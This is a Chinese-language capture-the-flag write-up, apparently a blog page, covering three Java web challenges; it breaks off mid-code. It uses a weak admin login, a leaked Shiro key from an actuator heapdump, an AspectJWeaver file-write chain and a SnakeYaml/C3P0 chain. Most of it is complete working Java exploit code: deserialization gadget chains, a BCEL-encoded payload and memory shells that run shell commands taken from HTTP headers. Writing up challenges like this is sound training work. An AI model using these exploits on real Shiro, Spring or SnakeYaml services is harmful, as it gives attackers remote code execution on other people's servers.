 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;弱口令admin admin123登录&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105114.png' alt="image-20250724171558467"&gt;&lt;/p&gt;
&lt;p&gt;存在端点泄露，actuator/env actuator/heapdump&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105168.png' alt="image-20250724171927101"&gt;&lt;/p&gt;
&lt;p&gt;分析heapdump，找到Shiro key PBgMSEv6Wsc4XVmSJuR60A==&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105201.png' alt="image-20250724172229842"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105317.png' alt="image-20250724172507740"&gt;&lt;/p&gt;
&lt;p&gt;爆破找不到利用链，猜测还是和上一道题一样限制了cookie的字符长度&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105487.png' alt="image-20250724172607803"&gt;&lt;/p&gt;
&lt;p&gt;还是打CB链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package CB;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;



public class CBMem2 {
 public static void main(String[] args) throws Exception {
 final TemplatesImpl templates = getTemplate();

 final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

 final PriorityQueue&amp;lt;Object&amp;gt; queue = new PriorityQueue&amp;lt;Object&amp;gt;(2, comparator);

 queue.add(&amp;#34;1&amp;#34;);
 queue.add(&amp;#34;1&amp;#34;);

 setFieldValue(comparator,&amp;#34;property&amp;#34;,&amp;#34;outputProperties&amp;#34;);
 setFieldValue(queue,&amp;#34;queue&amp;#34;,new Object[]{templates,templates});

 // ==================
 // 生成序列化字符串
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(queue);
 AesCipherService aes = new AesCipherService();
 byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes(&amp;#34;PBgMSEv6Wsc4XVmSJuR60A==&amp;#34;));//shiro默认密钥
 byte[] bytes = byteArrayOutputStream.toByteArray();
 System.out.println(aes.encrypt(bytes, key));
 }
 public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass(&amp;#34;A&amp;#34;);
 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make(&amp;#34;public A() throws Exception {\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;sh\&amp;#34;, \&amp;#34;-c\&amp;#34;, httprequest.getHeader(\&amp;#34;C\&amp;#34;)};\n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34; }&amp;#34;, clazz));
 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public static TemplatesImpl getTemplate() throws Exception {
 CtClass clz = genPayloadForLinux2();
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, &amp;#34;_bytecodes&amp;#34;, new byte[][]{clz.toBytecode()});
 setFieldValue(obj, &amp;#34;_name&amp;#34;, &amp;#34;a&amp;#34;);
 setFieldValue(obj, &amp;#34;_tfactory&amp;#34;, new TransformerFactoryImpl());

 return obj;
 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105902.png' alt="image-20250724181953823"&gt;&lt;/p&gt;
&lt;p&gt;注意CB版本改成1.9.4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;dependency&amp;gt;
 &amp;lt;groupId&amp;gt;commons-beanutils&amp;lt;/groupId&amp;gt;
 &amp;lt;artifactId&amp;gt;commons-beanutils&amp;lt;/artifactId&amp;gt;
 &amp;lt;version&amp;gt;1.9.4&amp;lt;/version&amp;gt;
 &amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 class="heading-element" id="一写一个不吱声"&gt;&lt;span&gt;一写一个不吱声&lt;/span&gt;
 &lt;a href="#%e4%b8%80%e5%86%99%e4%b8%80%e4%b8%aa%e4%b8%8d%e5%90%b1%e5%a3%b0" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;题目描述：&lt;/p&gt;
&lt;p&gt;clesses，你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;F12 base64解码&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105033.png' alt="image-20250805111945047"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;小T在学习JAVA的时候遇到了一个问题：SpringBoot的任意文件写如何才能RCE？
我在服务器某个地方创建了一个文！件！夹！，然后在服务器上部署了这个JAVA项目，小T说这个JAVA项目虽然有反序列化漏洞但是你没链子你怎么打，我不信你能RCE。

那么现在请你来试试，怎么才能RCE让小T不吱声呢？&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;再看依赖，存在&lt;code&gt;aspectjweaver1.9.5&lt;/code&gt;，并且/read路由可以直接反序列化&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105007.png' alt="image-20250805112332042"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;aspectjweavery&lt;/code&gt;有任意文件写入，参考&lt;a href="https://xz.aliyun.com/news/10945" target="_blank" rel="external nofollow noopener noreferrer"&gt;AspectJWeaver反序列化利用链&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是上面触发&lt;code&gt;SimpleCache$StoreableCachingMap&lt;/code&gt;的&lt;code&gt;put&lt;/code&gt;方法是通过&lt;code&gt;LazyMap&lt;/code&gt;的&lt;code&gt;get&lt;/code&gt;方法，这里没有CC依赖&lt;/p&gt;
&lt;p&gt;我们可以看到&lt;code&gt;UserBean&lt;/code&gt;中重写了&lt;code&gt;readObject&lt;/code&gt;，这里可以代替CC依赖的LazyMap，并且内容都是可控的&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105174.png' alt="image-20250805114209315"&gt;&lt;/p&gt;
&lt;p&gt;那么就解决了写任意文件链子的问题，但是我们应该往哪里写，写什么？&lt;/p&gt;
&lt;p&gt;提示说了，这个Java项目在某个文件夹下，猜测这个文件夹是&lt;code&gt;$JAVA_HOME/jre/classes&lt;/code&gt;，我们就可以往里面写一个实现Serializable并且重写readObject方法的恶意类，最后通过反序列化进行RCE&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;至于为什么是&lt;code&gt;$JAVA_HOME/jre/clesses&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;根据类的双亲委派模型，类的加载顺序会先从&lt;code&gt;Bootstrap ClassLoader&lt;/code&gt;的加载路径中尝试加载，当找不到该类时，才会选择从下一级的&lt;code&gt;ExtClassLoader&lt;/code&gt;的加载路径寻找，以此类推到引发加载的类所在的类加载器为止。&lt;/p&gt;
&lt;p&gt;我们可以通过&lt;code&gt;System.getProperty(&amp;quot;sun.boot.class.path&amp;quot;)&lt;/code&gt;来看&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105160.png' alt="image-20250805115347178"&gt;&lt;/p&gt;
&lt;p&gt;这里的&lt;code&gt;D:\JavaEnviron\jdk1.8.0_65\jre\classes&lt;/code&gt;对应的就是&lt;code&gt;$JAVA_HOME/jre/clesses&lt;/code&gt;，我们需要加载的类如果在这个路径下存在就可以被加载&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;题目环境的&lt;code&gt;$JAVA_HOME&lt;/code&gt;可以通过给的镜像名，&lt;code&gt;/usr/lib/jvm/java-8-openjdk-amd64/jre/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注意题目还是不出网，jdk版本小于&lt;code&gt;8u251&lt;/code&gt;通过BCEL来回显&lt;/p&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.p0l1st;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class AspectJWeaverExp {
 public static void main(String[] args) throws Exception {
 //反射获取构造函数
 Constructor con = Class.forName(&amp;#34;org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap&amp;#34;).getDeclaredConstructor(String.class,int.class);
 con.setAccessible(true);
 //实例化对象
 HashMap map = (HashMap)con.newInstance(&amp;#34;/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/&amp;#34;, 1);//路径
 Constructor constructor = Class.forName(&amp;#34;com.polar.ctf.bean.UserBean&amp;#34;).getDeclaredConstructor();
 constructor.setAccessible(true);
 //反射修改值
 Object userBean = constructor.newInstance();
 setFieldValue(userBean,&amp;#34;obj&amp;#34;,map);
 setFieldValue(userBean,&amp;#34;name&amp;#34;,&amp;#34;EvilEcho.class&amp;#34;);
 //恶意类
 String payload = FiletoBase64(&amp;#34;D:\\Project\\JavaSec\\Aspectjweaver\\src\\main\\java\\com\\p0l1st\\EvilEcho.class&amp;#34;);
 setFieldValue(userBean,&amp;#34;age&amp;#34;,payload);

 serialize(userBean);

 }
 public static String FiletoBase64(String filename) throws IOException {
 byte[] bytes = Files.readAllBytes(Paths.get(filename));
 String encode = Base64.getEncoder().encodeToString(bytes);
 return encode;
 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Base64;

public class EvilEcho implements Serializable {
 public static void main(String[] args) {
 try {
 Class&amp;lt;?&amp;gt; evilClass = EvilEcho.class;
 Object evilInstance = evilClass.getDeclaredConstructor().newInstance();
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(evilInstance);
 System.out.println(new String(Base64.getEncoder().encode(btout.toByteArray())));
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 private void readObject(ObjectInputStream ois) throws Exception {
 String code = &amp;#34;$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A&amp;#34;;
 //new ClassLoader().loadClass(code).newInstance();
 ClassLoader classLoader = (ClassLoader) Class.forName(&amp;#34;com.sun.org.apache.bcel.internal.util.ClassLoader&amp;#34;).getDeclaredConstructor().newInstance();


 Method loadClassMethod = classLoader.getClass().getMethod(&amp;#34;loadClass&amp;#34;, String.class);


 Class&amp;lt;?&amp;gt; loadedClass = (Class&amp;lt;?&amp;gt;) loadClassMethod.invoke(classLoader, code);
 loadedClass.newInstance();
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里的BCEL回显可以用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.lang.reflect.Method;
import java.util.Scanner;

public class Shell {
 static {
 try {
 Class v0 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;org.springframework.web.context.request.RequestContextHolder&amp;#34;);
 Method v1 = v0.getMethod(&amp;#34;getRequestAttributes&amp;#34;);
 Object v2 = v1.invoke(null);
 v0 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;org.springframework.web.context.request.ServletRequestAttributes&amp;#34;);
 v1 = v0.getMethod(&amp;#34;getResponse&amp;#34;);
 Method v3 = v0.getMethod(&amp;#34;getRequest&amp;#34;);
 Object v4 = v1.invoke(v2);
 Object v5 = v3.invoke(v2);
 Method v6 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;javax.servlet.ServletResponse&amp;#34;).getDeclaredMethod(&amp;#34;getWriter&amp;#34;);
 Method v7 = Thread.currentThread().getContextClassLoader().loadClass(&amp;#34;javax.servlet.http.HttpServletRequest&amp;#34;).getDeclaredMethod(&amp;#34;getHeader&amp;#34;,String.class);
 v7.setAccessible(true);
 v6.setAccessible(true);
 Object v8 = v6.invoke(v4);
 String v9 = (String) v7.invoke(v5,&amp;#34;cmd&amp;#34;); //请求头传参
 String[] v10 = new String[3];
 if (System.getProperty(&amp;#34;os.name&amp;#34;).toUpperCase().contains(&amp;#34;WIN&amp;#34;)){
 v10[0] = &amp;#34;cmd&amp;#34;;
 v10[1] = &amp;#34;/c&amp;#34;;
 }else {
 v10[0] = &amp;#34;/bin/sh&amp;#34;;
 v10[1] = &amp;#34;-c&amp;#34;;
 }
 v10[2] = v9;
 v8.getClass().getDeclaredMethod(&amp;#34;println&amp;#34;,String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter(&amp;#34;\\A&amp;#34;).next());
 v8.getClass().getDeclaredMethod(&amp;#34;flush&amp;#34;).invoke(v8);
 v8.getClass().getDeclaredMethod(&amp;#34;clone&amp;#34;).invoke(v8);
 } catch (Exception var11) {
 var11.getStackTrace();
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105330.png' alt="image-20250805150644438"&gt;&lt;/p&gt;
&lt;div class="alert alert-note"&gt;&lt;p class="alert-title"&gt;&lt;svg class="icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" width="16" height="16"&gt;&lt;path d="M0 8a8 8 0 1116 0A8 8 0 010 8zm8-6.5a6.5 6.5.0 100 13 6.5 6.5.0 000-13zM6.5 7.75A.75.75.0 017.25 7h1a.75.75.0 01.75.75v2.75h.25a.75.75.0 010 1.5h-2a.75.75.0 010-1.5h.25v-2h-.25a.75.75.0 01-.75-.75zM8 6a1 1 0 110-2 1 1 0 010 2z"/&gt;&lt;/svg&gt;Note&lt;/p&gt;&lt;p&gt;这里先传入我们的Exp写class，然后再传入我们的EvilEcho，对其进行反序列化从而触发readObject执行我们的回显马&lt;/p&gt;
&lt;p&gt;并且EvilEcho不要有包名&lt;/p&gt;&lt;/div&gt;&lt;h1 class="heading-element" id="snakeyaml"&gt;&lt;span&gt;SnakeYaml&lt;/span&gt;
 &lt;a href="#snakeyaml" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;code&gt;/load&lt;/code&gt;路由存在snakeyaml反序列化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class LoadController {
 @PostMapping({&amp;#34;/load&amp;#34;})
 public Object load(String data) {
 System.out.println(&amp;#34;Received data: &amp;#34; &amp;#43; data);
 Yaml yaml = new Yaml();
 return yaml.load(data);
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;依赖&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105732.png' alt="image-20250805184852707"&gt;&lt;/p&gt;
&lt;p&gt;结合题目描述，打C3P0二次反序列化，无回显不出网，还需要打内存马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class SnakeYaml_C3p0 {
 public static Map CC11() throws Exception {
 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = getTemplate();
 InvokerTransformer invokerTransformer = new InvokerTransformer(&amp;#34;newTransformer&amp;#34;, null, null);
 HashMap&amp;lt;Object,Object&amp;gt; map = new HashMap&amp;lt;&amp;gt;();
 Map&amp;lt;Object,Object&amp;gt; innerMap = LazyMap.decorate(map, new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap, templates);
 HashMap&amp;lt;Object, Object&amp;gt; hashMap = new HashMap&amp;lt;&amp;gt;();
 hashMap.put(tiedMapEntry, &amp;#34;bbb&amp;#34;);
 innerMap.remove(templates);
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField(&amp;#34;factory&amp;#34;);
 factoryField.setAccessible(true);
 factoryField.set(innerMap,invokerTransformer);
 return hashMap;
 }
 public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
 Class clazz = obj.getClass();
 Field classField = clazz.getDeclaredField(fieldName);
 classField.setAccessible(true);
 classField.set(obj, fieldValue);
 }
 public static CtClass genPayloadForLinux() throws CannotCompileException, NotFoundException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass(&amp;#34;A&amp;#34;);
 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make(&amp;#34;public B() throws Exception {\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
